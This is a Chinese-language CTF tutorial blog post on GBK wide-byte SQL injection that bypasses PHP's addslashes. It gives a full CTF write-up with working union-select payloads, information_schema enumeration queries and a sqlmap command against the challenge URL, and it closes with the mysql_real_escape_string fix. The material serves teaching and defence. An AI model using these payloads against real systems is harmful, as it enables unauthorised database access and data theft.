【CTF-Web Learning 1】0x01 SQL注入之寬字節注入

0x01 前言

準備系統梳理和總結提高這一年所學的關於Web方面東西,如有問題歡迎指點。


在計算機中,字符的表示與存儲都離不開編碼。例如ASCII,utf-8,gbk2312等。通常字符的表示都只需1字節。但也有如gbk2312這種需要2字節來表示的編碼格式,這種我們稱之爲寬字節

所謂寬字節注入,可能存在於以gbk編碼存儲數據的sql數據庫中。在實際站點中已經比較少見(常見於學校遠古破站),而且修復方案很簡單。在CTF中屬於入門的sql注入題目。

0x02 寬字節注入原理分析


0x01 認識addslashes

在基於php對sql注入的防禦裏,總會提到這個函數。

addslashes ( string $str ) : string

在php官方文檔中,對該函數的說明如下:
返回字符串,該字符串爲了數據庫查詢語句等的需要在某些字符前加上了反斜線。這些字符是單引號(')、雙引號(")、反斜線()與 NUL(NULL 字符)。

舉例:

<?php
$str = "Is your name O'reilly?";

// 輸出: Is your name O\'reilly?
echo addslashes($str);
?>

對於最簡單的字符型數字型注入,經改函數轉義的sql語句確實會“卡死“單引號。(構造攻擊的sql語句不會執行)

但對於該函數的繞過,其實並不困難,無非兩點:
1.在前面再加一個(或單數個),變成( '),可以導致被轉義,從而讓‘逃出限制。
2.把弄沒。**

在下面的例子中你可以體會到,若是該數據庫採用了寬字節的編碼,這個函數就變成了紙老虎。

0x02 寬字節注入原理

寬字節注入利用了mysql一個特性,即當mysql在使用GBK編碼的時候,會認爲兩個字符是一個漢字。(前一個ASCII碼要大於128,纔到漢字的範圍)

先了解一下這些字符的url編碼:

image.png

當輸入單引號,經addslashes轉義後,對應的url編碼是:
‘ --> \' --> %5C%27
當在前面引入一個ASCII大於128的字符(比如%df),url編碼變爲:
%df --> %df \ ' --> (%df%5C)%27

若使用gbk編碼的話,%df%5C會被當作一個漢字處理,從而使%27(單引號)逃出生天,成功繞過

我們用url編碼來研究一下:
當使用gbk編碼,可以看到一個漢字佔了2個字節。
image.png
image.png

來對\'編碼一下:
image.png
image.png

現在在前面加上%df,可以看到%df%5C被當成了漢字,單引號成功逃脫:
image.png
image.png

0x03 寬字節注入利用釋例

這裏以南郵ctf(CG CTF)一道Web題:SQL-GBK爲例。
image.png

輸入id=1',可以看到’被變成了\',是addslashes函數轉義的結果。
image.png

用上文講到的方法,構造id=1%df',id=1%aa',成功報錯
image.png
image.png

下面可以就是常規的手工注入了,不太清楚的可以參考網上一些文章,如:https://blog.csdn.net/Litbai_zhang/article/details/83869918

首先構造order by語句嘗試獲得列數,注意最後要用閉合(註釋掉後面的語句,不讓其影響構造語句執行)
常見的閉合手段有:井號,--+等。
這裏用井號,用%23來表示,否則可能解析不了

?id=1%aa' order by 2 %23

image.png
image.png

3已經報錯了,可以知道列數(字段數)爲2.

繼續用union來判斷數據的顯示位置:
對於這一步有一篇文章寫的很好,推薦一下:https://blog.csdn.net/weixin_44840696/article/details/89166154

?id=999%aa' union select 1,2 %23

image.png
知道了回顯的位置是2.

下一步,把2改成database(),成功獲取庫名:sae-chinalover

?id=999%aa' union select 1,database() %23

image.png

繼續跟進,查表名。(不放鏈接了,不太清楚可以百度下mysql自身的系統庫結構與讀取信息的函數):
注意:因爲單引號會被轉義,所以直接令table_schema=庫名是行不通的。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sae-chinalover' %23

可以把庫名代替爲database()。成功獲取表名。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23

image.png

下一步爆字段,把四個表的字段依次爆一遍,在ctf4中發現有flag字段:

?id=999%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x63746634 %23

image.png

查詢一下,成功獲取flag。
image.png
image.png

順便一題,這道題目也可以用sqlmap直接跑。把你構造的寬字符繞過語句扔上去就行了。以爆庫名爲例:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27" --current-db

image.png

0x04 寬字節注入的防禦

對於寬字節注入,有一種最好的修補就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string進行轉義

mysql_real_escape_stringaddslashes的不同之處在於其會考慮當前設置的字符集。不會出現把%aa%5c拼接爲一個寬字節的問題。
所以用mysql_set_charset對當前字符集進行指定,然後轉義即可。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章